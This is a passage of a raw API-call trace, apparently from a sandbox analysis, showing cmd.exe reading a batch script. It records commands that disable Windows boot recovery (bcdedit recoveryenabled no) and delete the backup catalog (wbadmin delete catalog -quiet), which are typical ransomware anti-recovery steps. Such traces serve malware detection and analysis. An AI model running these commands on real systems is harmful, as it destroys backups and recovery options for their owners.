lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.071] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="dset {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.071] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.071] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.071] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr="eet {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.072] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.072] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.072] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="lt {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.072] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.072] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.072] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="e {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.072] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.072] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.072] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="t{default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.072] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.072] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.072] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="edefault} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.072] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.072] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.073] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr=" efault} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.073] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.073] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.073] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="cfault} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.073] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.073] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.073] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="aault} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.073] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.073] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.073] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="tult} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.073] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.073] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.073] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="alt} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.073] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.074] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.074] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="lt} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.074] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.074] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.074] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="o} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.074] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.074] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.074] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="g recoveryenabled no\nnoreallfailures\n") returned 1 [0280.074] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.074] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.074] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr=" recoveryenabled no\nnoreallfailures\n") returned 1 [0280.074] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.074] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.074] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="-ecoveryenabled no\nnoreallfailures\n") returned 1 [0280.075] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.075] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.075] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="qcoveryenabled no\nnoreallfailures\n") returned 1 [0280.075] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.075] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.075] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="uoveryenabled no\nnoreallfailures\n") returned 1 [0280.075] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.075] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.075] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="iveryenabled no\nnoreallfailures\n") returned 1 [0280.075] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.075] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.075] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="eeryenabled no\nnoreallfailures\n") returned 1 [0280.075] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.075] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.075] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="tryenabled no\nnoreallfailures\n") returned 1 [0280.076] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.076] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.076] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="\nyenabled no\nnoreallfailures\n") returned 1 [0280.076] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.076] GetFileType (hFile=0xb0) returned 0x3 [0280.076] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.076] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.076] _get_osfhandle (_FileHandle=1) returned 0xbc [0280.076] GetFileType (hFile=0xbc) returned 0x3 [0280.077] _get_osfhandle (_FileHandle=1) returned 0xbc [0280.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wbadmin delete catalog -quiet\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbadmin delete catalog -quiet\n", lpUsedDefaultChar=0x0) returned 31 [0280.077] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x14f4f8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f4f8*=0x1e, lpOverlapped=0x0) returned 1 [0280.077] GetProcessHeap () returned 0x270000 [0280.077] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x294e70 [0280.077] GetProcessHeap () returned 0x270000 [0280.077] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294e70 | out: hHeap=0x270000) returned 1 [0280.077] GetProcessHeap () returned 0x270000 [0280.077] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x2897c0 [0280.077] GetProcessHeap () returned 0x270000 [0280.077] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284610 [0280.078] GetProcessHeap () returned 0x270000 [0280.078] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3e) returned 0x28fea0 [0280.078] GetConsoleOutputCP () returned 0x1b5 [0280.078] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0280.078] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0280.078] GetConsoleTitleW (in: lpConsoleTitle=0x14f4b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0280.079] GetProcessHeap () returned 0x270000 [0280.079] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x290ea0 [0280.079] GetProcessHeap () returned 0x270000 [0280.079] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4e) returned 0x28e8a0 [0280.079] GetProcessHeap () returned 0x270000 [0280.079] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x28f870 [0280.079] SetErrorMode (uMode=0x0) returned 0x0 [0280.079] SetErrorMode (uMode=0x1) returned 0x0 [0280.079] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x28f880, lpFilePart=0x14ed40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14ed40*="system32") returned 0x13 [0280.079] SetErrorMode (uMode=0x0) returned 0x1 [0280.079] GetProcessHeap () returned 0x270000 [0280.079] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28f870, Size=0x48) returned 0x28f870 [0280.079] GetProcessHeap () returned 0x270000 [0280.079] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28f870) returned 0x48 [0280.079] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0280.079] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0280.079] GetProcessHeap () returned 0x270000 [0280.079] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x104) returned 0x285b70 [0280.079] GetProcessHeap () returned 0x270000 [0280.079] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1f8) returned 0x28aa10 [0280.080] GetProcessHeap () returned 0x270000 [0280.080] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28aa10, Size=0x106) returned 0x28aa10 [0280.080] GetProcessHeap () returned 0x270000 [0280.080] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28aa10) returned 0x106 [0280.080] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0280.080] GetProcessHeap () returned 0x270000 [0280.080] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x28ab30 [0280.080] GetProcessHeap () returned 0x270000 [0280.080] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28ab30, Size=0x7e) returned 0x28ab30 [0280.080] GetProcessHeap () returned 0x270000 [0280.080] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ab30) returned 0x7e [0280.080] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0280.080] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x28e900 [0280.080] FindClose (in: hFindFile=0x28e900 | out: hFindFile=0x28e900) returned 1 [0280.081] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0280.081] GetLastError () returned 0x2 [0280.081] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x28e900 [0280.081] FindClose (in: hFindFile=0x28e900 | out: hFindFile=0x28e900) returned 1 [0280.081] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0280.081] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0280.081] GetConsoleTitleW (in: lpConsoleTitle=0x14f000, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0280.081] GetProcessHeap () returned 0x270000 [0280.081] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x289be0 [0280.081] GetConsoleTitleW (in: lpConsoleTitle=0x289bf0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0280.082] GetProcessHeap () returned 0x270000 [0280.082] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289be0, Size=0xb4) returned 0x289be0 [0280.082] GetProcessHeap () returned 0x270000 [0280.082] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289be0) returned 0xb4 [0280.082] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - wbadmin delete catalog -quiet") returned 1 [0280.082] GetProcessHeap () returned 0x270000 [0280.082] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289be0 | out: hHeap=0x270000) returned 1 [0280.082] InitializeProcThreadAttributeList (in: lpAttributeList=0x14edb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14ed78 | out: lpAttributeList=0x14edb8, lpSize=0x14ed78) returned 1 [0280.082] UpdateProcThreadAttribute (in: lpAttributeList=0x14edb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ed68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14edb8, lpPreviousValue=0x0) returned 1 [0280.082] GetStartupInfoW (in: lpStartupInfo=0x14eed0 | out: lpStartupInfo=0x14eed0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb0, hStdOutput=0xbc, hStdError=0xbc)) [0280.083] GetProcessHeap () returned 0x270000 [0280.083] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284640 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0280.083] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", 